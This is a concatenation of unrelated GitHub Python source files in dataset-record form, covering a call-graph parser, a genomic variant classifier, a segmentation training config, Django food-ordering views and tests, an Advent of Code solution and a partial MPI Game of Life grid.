point[2]))\npcd_file.close()\n\n\n","repo_name":"HCW0727/VisionGuard","sub_path":"etc/disparity23d_pcd.py","file_name":"disparity23d_pcd.py","file_ext":"py","file_size_in_byte":1857,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"20"} +{"seq_id":"24908031176","text":"import re\nimport json\nimport logging\nfrom graphviz import Digraph\nfrom canonical_tree import CallGraph\n\nlogging.basicConfig(format='%(asctime)s - %(name)s '\\\n '- %(levelname)s - %(message)s')\nlogger = logging.getLogger(__name__)\nlogger.setLevel('WARNING')\n\nclass CalTrace:\n def __init__(self, ip_file:str):\n self.svc_list = {}\n self.parent_list = {}\n self.roots = []\n self.trace_file = ip_file\n self.json_data = self.process()\n \n def process(self):\n f = open(self.trace_file, \"r\")\n self.json_data = json.load(f)\n f.close()\n self.parse_data()\n\n def dont_process(self, svc, parent):\n \"\"\"\n Return True if svc is not to be processed, else False\n \"\"\"\n #if re.search('elasticsearch', svc.label, re.IGNORECASE):\n # return True\n if parent.labels['pool'] == svc.labels['pool']:\n return True\n return False\n\n def create_service(self, labels):\n svc = CallGraph(labels)\n return svc\n\n def populate_roots(self):\n print(len(self.svc_list.keys()))\n for uniq_id in sorted(self.svc_list.keys()):\n svc = self.svc_list[uniq_id]\n if not svc.parents:\n self.roots.append(svc)\n print(len(self.roots))\n\n def create_tree(self):\n keys = list(self.svc_list.keys())\n for uniq_id in keys:\n cur_svc = self.svc_list[uniq_id]\n parent_id = self.parent_list[uniq_id]\n if parent_id not in self.svc_list:\n logger.debug(\"Poolname is %s, %s not present\", \\\n cur_svc.labels['pool'], parent_id)\n continue\n\n parent = self.svc_list[parent_id]\n if self.dont_process(cur_svc, parent):\n continue\n\n parent.add_child(cur_svc)\n cur_svc.add_parent(parent)\n logger.debug(\"Service name %s, Parent %s, pool %s\", \\\n cur_svc.labels['name'], parent.labels['pool'], \\\n cur_svc.labels['pool'])\n logger.debug(\"Edge Created %s --> %s, Service endpoint is %s\", \\\n parent.labels['pool'], cur_svc.labels['pool'], \\\n cur_svc.labels['name'])\n self.populate_roots()\n\n def parse_data(self):\n to_process = self.json_data['responseData']\n if not to_process:\n self.json_data = {}\n return\n for ind in range(len(to_process)):\n svc_details = to_process[ind]['dimensions']\n timing_details = to_process[ind]['dataPoints'][0]\n labels = {}\n labels['status'] = svc_details['status']\n labels['name'] = svc_details['name']\n labels['id'] = svc_details['id']\n labels['parentId'] = svc_details['parentId']\n labels['env'] = svc_details['env']\n labels['pool'] = svc_details['poolname']\n labels['thrd'] = svc_details['threadId']\n labels['startTime'] = int(timing_details[0])\n labels['duration'] = int(timing_details[1])\n svc = self.create_service(labels)\n uniq_id = labels['id']\n parent_id = labels['parentId']\n self.svc_list[uniq_id] = svc\n self.parent_list[uniq_id] = parent_id\n self.create_tree()\n","repo_name":"palvaro/callgraph_parsing","sub_path":"cal_parser.py","file_name":"cal_parser.py","file_ext":"py","file_size_in_byte":3343,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"74812407730","text":"from collections import Counter\nfrom MrBam.tools import try_append \n\ndef snv_mut(reads, o, ref, alt, pad_softclip = None):\n#def snv_mut(reads, ref_set, pad_softclip = None): \n \"gettting all possible mutation combinations, including MNV(Multiple Necluotide Variation)\"\n \"aggregate reads by startpos, endpos and base\"\n\n snv = []\n name_dict = {} # name -> reads\n unique_pairs = {} # start, length, is_overlap -> [base, quality]\n unique_single = {} # start, length, is_reverse -> [base, quality]\n\n base, mut, qual, start_self, query_len, nmismatch, XA, start_next = ['',''], ['',''], ['',''], ['',''], ['',''], ['',''], ['',''], ['','']\n template_len, reverse, paired, q10, terminal, cigartuples = ['',''], ['',''], ['',''], ['',''], ['',''], ['','']\n reference_start, copy_number, mapping_quality = ['',''], ['',''], ['','']\n\n for read in reads:\n name, *info = read\n try_append(name_dict, name, info)\n if o.verbos:\n print(\"read from bam.py(pair-end)\", len(name_dict))\n\n for name in list(name_dict.keys()):\n if len(name_dict[name]) == 1: # non-overlap or single\n\n [mut[0], qual[0], start_self[0], query_len[0], nmismatch[0], XA[0], template_len[0],\n start_next[0], reverse[0], paired[0], q10[0], terminal[0], cigartuples[0], reference_start[0],\n copy_number[0], mapping_quality[0]] = name_dict[name][0]\n\n if 0 <= qual[0] <= o.qual:\n if o.verbos:\n print(\"low quality: \" + name)\n del name_dict[name]\n continue\n\n if o.mismatch_limit != -1:\n if nmismatch[0] > o.mismatch_limit:\n if o.verbos:\n print(\"%s has %d mismatch (limit: %d)\" % (name, nmismatch[0], o.mismatch_limit))\n del name_dict[name]\n continue\n\n if o.dropXA and XA[0]:\n if o.verbos:\n print(\"multiple alignment: \" + name)\n del name_dict[name]\n continue\n \n if paired[0]:\n if o.fast:\n start = min(start_self[0], start_next[0])\n else:\n start, template_len[0] = adjusted_pos[name]\n if start < 0:\n if o.verbos:\n print(\"%s: more than 2 reads (%d total) share the same name; all droped.\" % (name, template_len[0]))\n continue\n \n try_append(unique_pairs, (start, template_len[0], False), (mut[0], qual[0]))\n\n else:\n try_append(unique_single, (start_self[0], query_len[0], reverse[0]),( mut[0],qual[0]))\n\n if o.snp and mut[0] != ref:\n snv.append(mut[0])\n\n elif len(name_dict[name]) == 2: # pe reads with mutation site in overlap area\n \n [mut[0], qual[0], start_self[0], query_len[0], nmismatch[0], XA[0], template_len[0],\n start_next[0], reverse[0], paired[0], q10[0], terminal[0], cigartuples[0],reference_start[0],\n copy_number[0], mapping_quality[0]] = name_dict[name][0]\n\n [mut[1], qual[1], start_self[1], query_len[1], nmismatch[1], XA[1], template_len[1],\n start_next[1], reverse[1], paired[1], q10[1], terminal[1], cigartuples[1], reference_start[1],\n copy_number[1], mapping_quality[1]]= name_dict[name][1]\n\n if 0 <= qual[0] <= o.qual and 0 <= qual[1] <= o.qual:\n if o.verbos:\n print(\"low quality: \" + name)\n del name_dict[name]\n continue\n\n if mut[0] != mut[1]:\n if o.verbos:\n print(\"pair inconsistent: \" + name)\n del name_dict[name]\n continue\n\n if o.mismatch_limit != -1:\n if nmismatch[0] > o.mismatch_limit or nmismatch[1] > o.mismatch_limit:\n if o.verbos:\n print(\"%s has %d mismatch (limit: %d)\" % (name, max(nmismatch[0], nmismatch[1]), o.mismatch_limit))\n del name_dict[name] \n continue\n\n if o.dropXA and (XA[0] or XA[1]):\n if o.verbos:\n print(\"multiple alignment: \" + name)\n del name_dict[name]\n continue \n \n start = min(start_self[0], start_self[1])\n tlen = max(start_self[0] + query_len[0], start_self[1] + query_len[1]) - start\n qual[0] = max(qual[0], qual[1])\n\n try_append(unique_pairs, (start, tlen, True), (mut[0], qual[0]))\n\n if o.snp and mut[0] != ref:\n snv.append(mut[0])\n snv.append(mut[0])\n\n else:\n if o.verbos:\n print(\"%s: more than 2 reads (%d total) share the same name; all droped.\" % (name, len(name_dict[name])))\n\n if o.snp and not o.continous:\n #snv = {}\n\n '''\n # single variation\n for mut, num in c.items():\n if mut != ref :\n snv[mut] = num\n \n elif len(ref_set) == 2:\n # continuous bases\n for mut, num in c.items():\n if mut == ref_set[0] + ref_set[1] or mut == ref_set[0] + 'N' or mut == 'N' + ref_set[1]:\n continue\n\n elif mut[0] == 'N':\n snv['N' + mut[1]] = num\n\n elif mut[1] == 'N':\n snv[mut[0] + 'N'] = num\n\n elif mut[0] != ref_set[0]:\n\n if mut[1] == ref_set[1]:\n snv[mut[0] + 'N'] = num\n\n elif mut[1] != ref_set[1]:\n snv[mut] = num\n \n elif mut[1] != ref_set[1]:\n snv['N' + mut[1]] = num\n else:\n raise Exception (\"unclear variation type %s\" % mut)\n\n else:\n raise Exception('length over 2 in ref_set ', ref_set, name_dict) \n '''\n c = Counter(snv)\n if o.verbos:\n print(\"initial called snvs: \",end='')\n for mut,num in c.items():\n print(mut,end=\"\\t\")\n print() \n\n variation = [alt]\n for mut, num in c.items():\n if mut != alt:\n if num >= 4 and mut in 'ATGC':\n variation.append(mut)\n # mutation with supporing reads >= 4 will be regarded as novel snv\n \n if o.verbos:\n print(\"initial snvs after filtering \", variation, end = \"\")\n print(\"ref \", ref, \"alt: \", alt)\n\n return variation, name_dict, unique_pairs, unique_single\n\n elif o.continous:\n c = Counter(snv)\n if o.verbos:\n print(\"initial called snvs: \",end='')\n for mut,num in c.items():\n print(mut,end=\"\\t\")\n print(\"\\n\",\"ref:\",ref,\"alt:\", alt) \n print(\"reads number\\t\",len(name_dict),len(unique_pairs),len(unique_single),c,\"final continous mut number: \",c[alt])\n\n if c[alt] >= 4:\n return [alt], name_dict, unique_pairs, unique_single\n return [], name_dict, unique_pairs, unique_single\n\n else:\n return [alt], name_dict, unique_pairs, unique_single\n\n","repo_name":"OpenGene/MrBam","sub_path":"MrBam/snvclassify.py","file_name":"snvclassify.py","file_ext":"py","file_size_in_byte":7409,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"20"} +{"seq_id":"10308777182","text":"norm_cfg = dict(type='BN', requires_grad=True)\nmodel = dict(\n type='EncoderDecoder',\n pretrained='open-mmlab://resnet50_v1c',\n backbone=dict(\n type='ResNetV1c',\n depth=50,\n num_stages=4,\n out_indices=(0, 1, 2, 3),\n dilations=(1, 1, 2, 4),\n strides=(1, 2, 1, 1),\n norm_cfg=dict(type='BN', requires_grad=True),\n norm_eval=False,\n style='pytorch',\n contract_dilation=True),\n decode_head=dict(\n type='DepthwiseSeparableASPPHead',\n in_channels=2048,\n in_index=3,\n channels=512,\n dilations=(1, 12, 24, 36),\n c1_in_channels=256,\n c1_channels=48,\n dropout_ratio=0.1,\n num_classes=19,\n norm_cfg=dict(type='BN', requires_grad=True),\n align_corners=False,\n sampler=dict(type='OHEMPixelSampler', thresh=0.7, min_kept=100000), \n loss_decode=dict(\n type='CrossEntropyLoss', use_sigmoid=False, loss_weight=1.0,\n class_weight = [0.8, 0.8, 0.8, 1.14, 1, 1, 1.14, 1.14, 1.14, 1.14,\n 1, 1, 1, 0.8, 1.2, 1.25, 1.5, 1, 1.15])),\n auxiliary_head=dict(\n type='FCNHead',\n in_channels=1024,\n in_index=2,\n channels=256,\n num_convs=1,\n concat_input=False,\n dropout_ratio=0.1,\n num_classes=19,\n norm_cfg=dict(type='BN', requires_grad=True),\n align_corners=False,\n loss_decode=dict(\n type='CrossEntropyLoss', use_sigmoid=False, loss_weight=0.4)),\n train_cfg=dict(),\n test_cfg=dict(mode='whole'))\ndataset_type = 'CelebAMaskDataset'\ndata_root = '/content/drive/MyDrive/Colab Notebooks/AI6126_ACV/Face_Parsing/data/CelebAMaskHQ/'\nimg_norm_cfg = dict(\n mean=[123.675, 116.28, 103.53], std=[58.395, 57.12, 57.375], to_rgb=True)\ntrain_pipeline = [\n dict(type='LoadImageFromFile'),\n dict(type='LoadAnnotations'),\n dict(type='RandomFlip', prob=0),\n dict(\n type='Normalize',\n mean=[123.675, 116.28, 103.53],\n std=[58.395, 57.12, 57.375],\n to_rgb=True),\n dict(type='DefaultFormatBundle'),\n dict(type='Collect', keys=['img', 'gt_semantic_seg'])\n]\ntest_pipeline = [\n dict(type='LoadImageFromFile'),\n dict(\n type='MultiScaleFlipAug',\n img_scale=(2048, 512),\n flip=False,\n transforms=[\n dict(type='Resize', keep_ratio=True),\n dict(type='RandomFlip'),\n dict(\n type='Normalize',\n mean=[123.675, 116.28, 103.53],\n std=[58.395, 57.12, 57.375],\n to_rgb=True),\n dict(type='ImageToTensor', keys=['img']),\n dict(type='Collect', keys=['img'])\n ])\n]\ndata = dict(\n samples_per_gpu=4,\n workers_per_gpu=4,\n train=dict(\n type='CelebAMaskDataset',\n data_root='/content/drive/MyDrive/Colab Notebooks/AI6126_ACV/Face_Parsing/data/CelebAMaskHQ/',\n img_dir='/content/drive/MyDrive/Colab Notebooks/AI6126_ACV/Face_Parsing/data/CelebAMaskHQ/train/train_image',\n ann_dir='/content/drive/MyDrive/Colab Notebooks/AI6126_ACV/Face_Parsing/data/CelebAMaskHQ/train/train_mask',\n #split='/content/drive/MyDrive/Colab Notebooks/AI6126_ACV/Face_Parsing/data/CelebAMaskHQ/train/train_split/train.txt',\n split = None, \n pipeline=[\n dict(type='LoadImageFromFile'),\n dict(type='LoadAnnotations'),\n dict(type='RandomFlip', prob=0),\n dict(\n type='Normalize',\n mean=[123.675, 116.28, 103.53],\n std=[58.395, 57.12, 57.375],\n to_rgb=True),\n dict(type='DefaultFormatBundle'),\n dict(type='Collect', keys=['img', 'gt_semantic_seg'])\n ]),\n val=dict(\n type='CelebAMaskDataset',\n data_root='/content/drive/MyDrive/Colab Notebooks/AI6126_ACV/Face_Parsing/data/CelebAMaskHQ/',\n img_dir='/content/drive/MyDrive/Colab Notebooks/AI6126_ACV/Face_Parsing/data/CelebAMaskHQ/val/val_image',\n ann_dir='/content/drive/MyDrive/Colab Notebooks/AI6126_ACV/Face_Parsing/data/CelebAMaskHQ/val/val_mask',\n #split='/content/drive/MyDrive/Colab Notebooks/AI6126_ACV/Face_Parsing/data/CelebAMaskHQ/val/val_split/val.txt',\n split = None,\n pipeline=[\n dict(type='LoadImageFromFile'),\n dict(\n type='MultiScaleFlipAug',\n img_scale=(2048, 512),\n flip=False,\n transforms=[\n dict(type='Resize', keep_ratio=True),\n dict(type='RandomFlip'),\n dict(\n type='Normalize',\n mean=[123.675, 116.28, 103.53],\n std=[58.395, 57.12, 57.375],\n to_rgb=True),\n dict(type='ImageToTensor', keys=['img']),\n dict(type='Collect', keys=['img'])\n ])\n ]), \n test=dict(\n type='CelebAMaskDataset',\n data_root='data/CelebAMaskHQ/',\n img_dir='mini_test_image',\n ann_dir='mini_test_mask',\n split='mini_test.txt',\n pipeline=[\n dict(type='LoadImageFromFile'),\n dict(\n type='MultiScaleFlipAug',\n img_scale=(2048, 512),\n flip=False,\n transforms=[\n dict(type='Resize', keep_ratio=True),\n dict(type='RandomFlip'),\n dict(\n type='Normalize',\n mean=[123.675, 116.28, 103.53],\n std=[58.395, 57.12, 57.375],\n to_rgb=True),\n dict(type='ImageToTensor', keys=['img']),\n dict(type='Collect', keys=['img'])\n ])\n ]))\nlog_config = dict(\n interval=50, hooks=[dict(type='TextLoggerHook', by_epoch=False)])\ndist_params = dict(backend='nccl')\nlog_level = 'INFO'\nload_from = None\n#resume_from = '/content/drive/MyDrive/Colab Notebooks/AI6126_ACV/Face_Parsing/work_dirs/iter_20000.pth'\nresume_from = None\nworkflow = [('train', 1)]\ncudnn_benchmark = True\noptimizer = dict(type='SGD', lr=0.01, momentum=0.9, weight_decay=0.0001)\noptimizer_config = dict()\n#lr_config = dict(policy='CosineAnnealing', warmup='linear', warmup_iters=1000, warmup_ratio=1.0 / 10, min_lr_ratio=1e-5)\n#lr_config = dict(policy='poly', power=0.9, min_lr=0.0001, by_epoch=False)\nlr_config = dict(policy='cyclic', target_ratio=(10, 1e-4), cyclic_times=1, step_ratio_up=0.4)\nmomentum_config = dict(policy='cyclic', target_ratio=(0.85 / 0.95, 1), cyclic_times=1, step_ratio_up=0.4)\nrunner = dict(type='IterBasedRunner', max_iters=30000)\ncheckpoint_config = dict(by_epoch=False, interval=2000)\nevaluation = dict(interval=2000, metric=['mIoU', 'mDice'], pre_eval=True)","repo_name":"pegacorn233/NTU_MSAI_AI6126_Advanced_Computer_Vision","sub_path":"Assignment/Assignment1/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":6860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"41478393518","text":"from django.test import TestCase\nfrom data_finder.helpers import RoutingHelper\n\nclass RoutingHelperTest(TestCase):\n\n fixtures = ['test_routing.json']\n\n def test_address_view(self):\n rh = RoutingHelper('AA11AA')\n endpoint = rh.get_endpoint()\n self.assertEqual('address_view', endpoint.view)\n\n def test_address_select_view(self):\n rh = RoutingHelper('BB11BB')\n endpoint = rh.get_endpoint()\n self.assertEqual('address_select_view', endpoint.view)\n\n def test_postcode_view(self):\n rh = RoutingHelper('CC11CC')\n endpoint = rh.get_endpoint()\n self.assertEqual('postcode_view', endpoint.view)\n","repo_name":"amelvin/UK-Polling-Stations","sub_path":"polling_stations/apps/data_finder/tests/test_routing_helper.py","file_name":"test_routing_helper.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"20"} +{"seq_id":"39969836226","text":"from collections import defaultdict\nfrom functools import lru_cache\nimport itertools\nfrom pprint import pprint\nimport re\n\ninput_file = open('input/day21_full', 'r')\nlines = input_file.read().splitlines()\ninput_file.close()\n\n# array of players. values are the player's position\nplayers = []\nfor line in lines:\n res = re.search(\"Player [0-9]+ starting position: ([0-9]+)\", line)\n players.append(int(res.group(1)))\n\n# p1\n# END_SCORE = 1000\n\n# print(players)\n# scores = [0 for player in players]\n\n# turn = 0\n# dice_roll_count = 0\n# player = 0\n# while not any( filter(lambda x: x >= END_SCORE, scores) ) :\n# if player == len(players):\n# player = 0\n# # print(player)\n# rolls = [dice_roll_count % 100 + i + 1 for i in range(3)]\n# dice_roll_count += 3\n\n# players[player] += sum(rolls)\n# players[player] = (players[player] - 1) % 10 + 1\n# # print(players[player])\n# scores[player] += players[player]\n# player += 1\n\n\n# print(players)\n# print(scores)\n# loser_score = list(filter(lambda x: x < END_SCORE, scores))[0]\n\n# res = loser_score * dice_roll_count\n# print(res)\n\n\n# p2\nrolls = defaultdict(int)\nfor i in range(3):\n for j in range(3):\n for k in range(3):\n rolls[i+j+k+3] += 1\nrolls = dict(rolls)\n\n# mostly stolen from reddit\n@lru_cache(maxsize=None)\ndef dirac(p1, p2, p1_score, p2_score, win_score):\n num_wins = [0, 0]\n for roll1 in itertools.product([1,2,3], repeat=3):\n for roll2 in itertools.product([1,2,3], repeat=3):\n p1_ = (p1 + sum(roll1) - 1 ) % 10 + 1\n p1_score_ = p1_score + p1_\n if p1_score_ >= win_score:\n num_wins[0] += 1\n break\n p2_ = (p2 + sum(roll2) - 1) % 10 + 1\n p2_score_ = p2_score + p2_\n if p2_score_ >= win_score:\n num_wins[1] += 1\n continue\n subsequent_wins = dirac(p1_, p2_, p1_score_, p2_score_, win_score)\n num_wins[0] += subsequent_wins[0]\n num_wins[1] += subsequent_wins[1]\n return num_wins\n\nres = dirac(players[0], players[1], 0, 0, 21)\n\nprint(res)\n","repo_name":"lozog/aoc-2021","sub_path":"day21.py","file_name":"day21.py","file_ext":"py","file_size_in_byte":2118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"10661293436","text":"#Rendered a welcoming greet to a user after the initialization of the program.\nprint(\"\\nWelcome to Villariza Foods! Our available product for today is apple. \\n\")\n\n#Added a docstring inside a def function so that the functionality of the system is accessible and easy to comprehend.\ndef apple_change(money, apple):\n if money >= apple:\n exchange = money % apple\n apple_maxQuantity = money // apple\n print(f\"\\nYou can buy {apple_maxQuantity:,.0f} apple/s and your change is {exchange:,.2f} PHP.\\n\")\n else:\n moneyShortage = apple - money\n print(f\"\\nSorry, but you do not have enough money to buy an apple. You need {moneyShortage:,.2f} PHP in order to purchase a single apple.\\n\")\n\n#Input string has added inside the defined function for a simpler collective method.\napple_change(money = float(input(\"How much cash do you possess right now? \\n> PHP: \")), apple = float(input(\"\\nWhat is the cost of an apple per item? \\n> PHP: \")))","repo_name":"1ceRocks/PLD-Assignment-3","sub_path":"def-amount-and-price.py","file_name":"def-amount-and-price.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"14269471136","text":"from django.shortcuts import render, get_object_or_404\nfrom .models import (Restaurant, \n\t\t\t\t\tUserProfile, \n\t\t\t\t\tFavourite, \n\t\t\t\t\tOffer,\n\t\t\t\t\tOrderItem,\n\t\t\t\t\tRecipe,\n\t\t\t\t\tOrder,\n\t\t\t\t\tDelivery,\n\t\t\t\t\tPaymentInfo)\n\nfrom django.contrib.auth.models import User\nfrom .forms import UserRegistrationForm\nfrom django.contrib.auth.decorators import login_required\nfrom cart.cart import Cart\n\nlist_fav = []\n\n\n@login_required\ndef home(request):\n\tif request.method == 'GET':\n\t\tpop_restaurants = Restaurant.objects.all().filter(rating__range=(4,5))\n\t\tavg_restaurants = Restaurant.objects.all().filter(rating__range=(1,3))\n\t\toffer_zone = Offer.objects.all()\n\t\treturn render(request,'main/home.html',{'pop_restaurants':pop_restaurants,'avg_restaurants':avg_restaurants,'offer_zone':offer_zone })\n\n\ndef index(request):\n\tif request.method == 'GET':\n\t\treturn render(request,'main/index.html')\n\n\ndef register(request):\n\tif request.method == 'POST':\n\t\tuser_form = UserRegistrationForm(request.POST)\n\t\tif user_form.is_valid():\n\t\t\tnew_user = user_form.save(commit=False)\n# Set the chosen password\n\t\t\tnew_user.set_password(\n\t\t\tuser_form.cleaned_data['password'])\n# Save the User object\n\t\t\tnew_user.save()\n\t\t\tUserProfile.objects.create(user=new_user)\n\t\t\treturn render(request, 'account/register_done.html', {'new_user': new_user})\n\telse:\n\t\tuser_form = UserRegistrationForm()\n\treturn render(request, 'account/register.html',{'user_form': user_form})\n\n\ndef contact(request):\n\tif request.method == 'GET':\n\t\treturn render(request,'contact.html')\n\n\n@login_required\ndef restaurants_view(request):\n\tif request.method == 'GET':\n\t\tfavourites = Favourite.objects.filter(user_name__user=request.user)\n\t\trestaurants = Restaurant.objects.order_by('-rating').exclude(name__in=list_fav)\n\t\treturn render(request, 'food/restaurants.html', {'restaurants': restaurants, 'favourites': favourites})\n\n\n@login_required\ndef menu(request, parameter):\n\tif request.method == 'GET':\n\t\tres_details = Restaurant.objects.filter(name=parameter)\n\t\tres_name = Restaurant.objects.get(name=parameter)\n\t\ttry:\n\t\t\toff = Offer.objects.get(name__name=res_name.name)\n\t\texcept Offer.DoesNotExist:\n\t\t\toff = None\n\t\tcart = Cart(request)\n\t\tfor i in res_details:\n\t\t\tname = i.name\n\t\trecipe_details = Recipe.objects.filter(restaurant_name__name=name)\n\t\treturn render(request, 'food/restaurantmenu.html', {'cart': cart, 'res_details': res_details, 'recipe_details': recipe_details,'offer_price':off})\n\n\n@login_required\ndef profile(request):\n\tif request.method == 'GET':\n\t\tpres_user = request.user\n\t\tfav_res = Favourite.objects.filter(user_name__user=pres_user)\n\t\torders = OrderItem.objects.filter(order__first_name=request.user.first_name)\n\t\treturn render(request, 'account/profile.html', {'fav_res': fav_res,'orders':orders})\n\n\n@login_required\ndef offers(request):\n\tif request.method == 'GET':\n\t\trestaurants = Restaurant.objects.all()\n\t\tmy_offers = Offer.objects.all()\n\t\treturn render(request, 'food/offers.html', {'my_offers': my_offers, 'restaurants': restaurants})\n\n\n@login_required\ndef search(request):\n\tquery = request.GET.get(\"q\")\n\tif query:\n\t\tqueryset_list = Restaurant.objects.filter(name__istartswith=query)\n\telse:\n\t\tqueryset_list = {}\n\treturn render(request, 'food/search_result.html', {'queryset_list': queryset_list})\n\n\n@login_required\ndef place(request, parameter):\n\tif request.method == 'GET':\n\t\tplace_resto = Restaurant.objects.filter(address__icontains=parameter)\n\treturn render(request, 'food/brands_place.html', {'place_resto': place_resto})\n\n\n@login_required\ndef pay(request, parameter):\n\tcart = Cart(request)\n\torder = get_object_or_404(Order, Oid=parameter)\n\ttotal = cart.get_total_price()\n\tif request.method == 'POST':\n\t\tmethod = request.POST.get(\"pay\")\n\t\tobj = get_object_or_404(UserProfile, user=request.user)\n\t\t#user = request.user.first_name\n\t\tnew = PaymentInfo.create(mode=method)\n\t\tnew.Cid = obj\n\t\tnew.Pid = parameter\n\t\tnew.NetPrice = total\n\t\tnew.save()\n\t\torder.paid = True\n\t\torder.save()\n\t\tdelivery = Delivery.objects.order_by(\"?\").first()\n\t\tcart.clear()\n\t\treturn render(request, 'food/order_cooking.html',{'delivery':delivery})\n\treturn render(request, 'food/pay.html',{'order':order,'total':total})\n\n\ndef fav_add(request, parameter):\n\n\tfavorite = get_object_or_404(Restaurant, name=parameter)\n\n\tif request.method == 'POST':\n\t\tobj = get_object_or_404(UserProfile, user=request.user)\n\t\tnew = Favourite.create(is_favourite=True)\n\t\tnew.res_name = favorite\n\t\tnew.user_name = obj\n\t\tnew.save()\n\t\tlist_fav.append(parameter)\n\t\tfavourites = Favourite.objects.filter(user_name__user = request.user)\n\t\trestaurants = Restaurant.objects.order_by('-rating').exclude(name__in=list_fav)\n\t\treturn render(request,'food/restaurants.html', {'restaurants':restaurants,'favourites':favourites})\n\n\ndef fav_del(request,parameter):\n\tif request.method =='POST':\n\t\trem = Favourite.objects.filter(res_name__name=parameter)\n\t\trem.delete()\n\t\tlist_fav.remove(parameter)\n\t\tfavourites = Favourite.objects.filter(user_name__user = request.user)\n\t\trestaurants = Restaurant.objects.order_by('-rating').exclude(name__in=list_fav)\n\t\treturn render(request,'food/restaurants.html', {'restaurants':restaurants,'favourites':favourites})\n\n\n","repo_name":"codenitros/Online_Food_Ordering","sub_path":"food/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"21847424586","text":"from django.conf import settings\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Take',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('opinion', models.CharField(max_length=200)),\n ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),\n ],\n ),\n migrations.CreateModel(\n name='Event',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('image', models.CharField(max_length=250)),\n ('title', models.CharField(max_length=100)),\n ('description', models.CharField(max_length=200)),\n ('takes', models.ManyToManyField(to='main_app.Take')),\n ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),\n ],\n ),\n migrations.CreateModel(\n name='Comment',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('comment', models.CharField(max_length=250)),\n ('author', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),\n ('take', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='comments', to='main_app.Take')),\n ],\n ),\n ]","repo_name":"thefrostyausty/CP-TakeItOrLeaveIt","sub_path":"TakeItOrLeaveIt/main_app/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"31809589326","text":"from datetime import datetime\nfrom candidate_pool_service.candidate_pool_app import logger\nfrom candidate_pool_service.common.redis_cache import redis_store\nfrom candidate_pool_service.candidate_pool_app.talent_pools_pipelines_utilities import (update_smartlist_stats,\n update_talent_pool_stats,\n update_talent_pipeline_stats,\n update_pipeline_engagement_score)\n\nstats_update_key = 'stats-update-timestamp-%s' % datetime.utcnow().date().strftime('%m/%d/%Y')\n\nif not redis_store.exists(stats_update_key):\n redis_store.setex(stats_update_key, 1, 86400)\n logger.info(\"CRON JOB: Stats update process has been started\")\n\n update_smartlist_stats.delay()\n update_talent_pool_stats.delay()\n update_talent_pipeline_stats.delay()\n update_pipeline_engagement_score.delay()\n","repo_name":"josepharceneaux/ecs-stuff","sub_path":"candidate_pool_service/run_update_stats.py","file_name":"run_update_stats.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"20"} +{"seq_id":"28710174108","text":"\nimport tkinter as tk\nimport numpy as np\nfrom mpi4py import MPI\nfrom math import log\n\nclass grille:\n \"\"\"\n Grille torique décrivant l'automate cellulaire.\n En entrée lors de la création de la grille :\n - dimensions est un tuple contenant le nombre de cellules dans les deux directions (nombre lignes, nombre colonnes)\n - init_pattern est une liste de cellules initialement vivantes sur cette grille (les autres sont considérées comme mortes)\n - color_life est la couleur dans laquelle on affiche une cellule vivante\n - color_dead est la couleur dans laquelle on affiche une cellule morte\n Si aucun pattern n'est donné, on tire au hasard quels sont les cellules vivantes et les cellules mortes\n Exemple :\n grid = grille( (10,10), init_pattern=[(2,2),(0,2),(4,2),(2,0),(2,4)], color_life=\"red\", color_dead=\"black\")\n \"\"\"\n def __init__( self, dim, init_pattern = None,gridcells=None,n=0,nbeg=0,color_life = [\"black\",\"red\"], color_dead = \"white\" ):\n import random\n self.dimensions = dim\n if init_pattern is not None and gridcells is None:\n self.cells = np.zeros(self.dimensions, dtype=np.uint8) \n indices_i = [v[0] for v in init_pattern]\n indices_j = [v[1] for v in init_pattern]\n self.cells[indices_i,indices_j] = [v[2] for v in init_pattern]\n elif gridcells is not None:\n self.cells=gridcells\n else:\n self.cells = np.random.randint(3, size=dim, dtype=np.uint8)\n self.col_life = color_life \n self.col_dead = color_dead\n self.nbeg=nbeg\n self.n=n\n\n def compute_next_iteration(self):\n \"\"\"\n Calcule la prochaine génération de cellules en suivant les règles du jeu de la vie\n \"\"\"\n # Remarque 1: on pourrait optimiser en faisant du vectoriel, mais pour plus de clarté, on utilise les boucles\n # Remarque 2: on voit la grille plus comme une matrice qu'une grille géométrique. L'indice (0,0) est donc en haut\n # à gauche de la grille !\n \n ny = self.dimensions[0]\n nx = self.dimensions[1]\n next_cells = np.zeros(self.dimensions, dtype=np.uint8) #=self.cells[:,nbeg:nend+1]\n diff_cells = []\n \n if rank==0:\n self.cells[:,0]=com.recv(source=size-1)\n 